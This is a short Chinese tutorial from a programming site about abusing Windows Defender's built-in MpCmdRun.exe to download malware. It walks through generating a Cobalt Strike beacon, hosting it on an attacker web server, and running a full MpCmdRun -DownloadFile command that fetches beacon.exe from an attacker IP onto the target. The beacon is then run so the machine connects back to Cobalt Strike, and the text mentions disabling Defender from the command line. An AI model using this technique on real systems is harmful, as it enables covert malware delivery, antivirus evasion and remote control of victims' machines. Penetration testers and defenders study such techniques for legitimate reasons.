微信公众号 讲师中心
首页
文章
后端开发 web前端 数据库 开发工具 php框架 常见问题 科技 Java 系统教程 电脑教程 硬件教程 手机教程 软件教程 游戏教程 自媒体 新闻
专题
后端开发 web前端 数据库 开发工具 php框架 科技 Java 系统教程 电脑教程 硬件教程 手机教程 软件教程 游戏教程 新闻
AI工具
AI 聊天问答 Agent智能体 AI 文本写作 AI 绘画作图 AI 设计工具 AI 视频创作 AI 音频制作 AI 办公学习 AI 编程开发 Prompt指令
学习
大前端 后端开发 数据库 移动端 运维开发 计算机基础
编程手册
大前端 后端开发 数据库 移动端 运维开发 计算机基础
下载
js特效 网站源码 工具下载 类库下载 网站素材 学习资源 插件扩展 手机/移动开发 手机游戏
最近更新
搜索
后端开发 web前端 数据库 开发工具 php框架 常见问题 科技 Java 系统教程 电脑教程 硬件教程 手机教程 软件教程 游戏教程
自媒体 新闻
首页 > 系统教程 > Windows系列 > 正文

MpCmdRun恶意文件下载

星夢妙者
发布： 2025-09-05 08:07:01
原创
933人浏览过

文章前言

Windows Defender是Windows 10系列自带的一款系统保护程序，可以对系统中的恶意程序、恶意行为进行查杀，与此同时，我们可以使用Windows Defender自带的命令执行工具"MpCmdRun.exe"来实现远程下载恶意文件的目的，但是免杀好像还是不太可靠，不过我们可以在cmd中关闭Windows Defender，所以这样一来，一结合就变得有意思多了，不管在使用该思路的过程中还需要权限提升，但是CS因为在后渗透测试中有很好的辅助功能，所以总体来说还是划算的~

具体实现

Step 1：在cobaltstrike中生成恶意攻击载荷

MpCmdRun恶意文件下载

Step 2：在攻击主机中搭建web服务托管beacon.exe程序

电子手机配件网站源码1.0
电子手机配件网站源码1.0

电子手机配件网站源码是一个响应式的织梦网站模板，软件兼容主流浏览器，且可以在PC端和手机端中进行浏览。模板包含安装说明，并包含测试数据。本模板基于DEDECms 5.7 UTF-8设计，需要GBK版本的请自己转换。模板安装方法：1、下载最新的织梦dedecms5.7 UTF-8版本。2、解压下载的织梦安装包，得到docs和uploads两个文件夹，请将uploads里面的所有文件和文件夹上传到你的

电子手机配件网站源码1.0 0
查看详情 电子手机配件网站源码1.0
MpCmdRun恶意文件下载

Step 3：在目标主机上使用Windows Defender自带的MpCmdRun.exe程序下载恶意文件

代码语言：javascript代码运行次数：0运行复制
<pre class="brush:php;toolbar:false;">"C:ProgramDataMicrosoftWindows DefenderPlatform.18.2008.9-0MpCmdRun.exe" -DownloadFile -url http://192.168.188.129:6666/beacon.exe -path c:\users\resnd\Desktop\c-beacon.exe
登录后复制
MpCmdRun恶意文件下载

Step 4：之后执行恶意文件，可以看到在CS中成功上线

MpCmdRun恶意文件下载

以上就是MpCmdRun恶意文件下载的详细内容，更多请关注php中文网其它相关文章！

相关标签：
windows javascript java 工具 amd win JavaScript windows 渗透测试

大家都在看：

最佳 Windows 性能的顶级免费优化软件
最佳 Windows 性能的顶级免费优化软件

每个人都需要一台速度更快、更稳定的 PC。随着时间的推移，垃圾文件、旧注册表数据和不必要的后台进程会占用资源并降低性能。幸运的是，许多工具可以让 Windows 保持平稳运行。

下载
来源：php中文网
收藏 点赞
上一篇：windows上anythingllm安装和简单使用教程 下一篇：如何安装使用 KMSpico 激活工具？成功激活 Windows 系统
本文内容由网友自发贡献，版权归原作者所有，本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容，请联系admin@php.cn
作者最新文章
最新问题
Windows11手写输入怎样变成文本_Windows11手写输入转文本实用技巧分享 启用触摸键盘手写面板可实现任意应用中的手写转文本；2.在支持直接书写的系统应用中，触控笔靠近输入框即可自动转换；3.使用墨迹转文本笔功能可在兼容应用中书写并智能编辑，提升效率。
2025-11-19 12:26:39
712
你应该培养的10个关键Windows使用习惯 建立良好Windows使用习惯可显著提升效率与安全性。定期更新系统、启用防火墙和杀毒软件、使用标准用户账户、备份重要文件、管理启动项、合理组织文件、利用虚拟桌面、掌握快捷键、定期清理磁盘及正确关闭程序与系统，是十大关键操作准则。
2025-11-19 12:19:29
105
win11怎么开启夜间模式 Win11护眼模式设置与定时开启教程 可通过设置夜间模式减少蓝光，方法包括：1.在“设置-系统-显示”中手动开启并调节强度；2.设置“日落到日出”或自定义时间自动启用；3.使用Win+A快捷面板一键开关；4.安装PowerToys实现基于日出日落的智能主题切换。
2025-11-19 11:25:41
897
win10怎么设置游戏DVR录制 win10 Xbox Game Bar配置教程 首先确保XboxGameBar已开启，依次进入设置→游戏→XboxGameBar并打开主开关；接着在音频设置中启用系统声音和麦克风录制；然后在捕获选项中更改视频保存位置至非系统盘；根据硬件性能选择合适的视频质量、分辨率和帧率，并可开启鼠标光标显示；最后使用Win+G呼出游戏栏，通过Win+Alt+R快捷键开始或停止录制。
2025-11-19 11:06:06
857
windows11如何禁用系统自带的输入法_Windows 11关闭内置输入法教程 1、通过语言和区域设置删除输入法：进入“设置-时间和语言-语言和区域”，在对应语言的键盘列表中移除微软拼音；2、添加英文输入法并设为默认：添加美式键盘并设为默认，避免中文输入法自动激活；3、通过高级键盘设置管理：右键任务栏输入法图标，进入语言选项直接删除不需要的输入法。
2025-11-19 11:03:06
985
win10右下角网络图标不见了怎么办_win10任务栏网络图标恢复方法 首先检查系统托盘设置是否关闭网络图标，依次尝试重启资源管理器、运行网络疑难解答、启动WLANAutoConfig服务，若无效可删除注册表中TrayNotify的IconStreams项并重启explorer.exe，或重装网络适配器驱动，最后通过创建新用户账户判断是否配置文件损坏。
2025-11-19 10:25:02
342
win11怎么安装git Win11配置Git环境与SSH密钥教程 首先完成Git安装并配置SSH密钥，接着将公钥添加至GitHub或Gitee等平台，最后通过ssh-T命令测试连接以验证配置成功。
2025-11-19 10:22:36
855
win10怎么创建RAMDisk虚拟内存盘 win10提升软件读写速度技巧 使用RAMDisk可提升读写速度，Windows10可通过RadeonRAMDisk或ImDisk创建，前者图形化操作简便，后者支持命令行灵活配置，并可设置关机自动备份实现数据持久化。
2025-11-19 10:13:02
514
Windows11系统还原点怎么创建_Windows11系统还原点创建与恢复方法 首先启用系统保护功能，再手动创建还原点以确保可恢复系统。具体步骤：1.搜索“创建还原点”并开启系统盘的系统保护；2.在更改前点击“创建”按钮并命名还原点；3.出现问题时通过系统还原选择对应还原点回滚系统设置与文件至先前状态。
2025-11-19 10:12:05
554
windows11如何运行内存诊断工具_Windows 11内存检测工具使用方法 内存故障可能导致蓝屏、程序崩溃等问题，Windows11提供内置内存诊断工具，可通过控制面板、搜索功能或运行命令启动，选择“立即重新启动并检查问题”进行检测；若需深度测试，可使用MemTest64等第三方工具。
2025-11-19 09:06:02
476
相关专题
更多>
热门推荐
开源免费商场系统广告
热门教程
更多>
相关推荐
热门推荐
最新课程
最新下载
更多>
网站特效
网站源码
网站素材
前端模板
关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新 English
php中文网：公益在线php培训，帮助PHP学习者快速成长！
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送
PHP中文网APP
随时随地碎片化学习

Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号

  • PHP学习

  • 技术支持

  • 返回顶部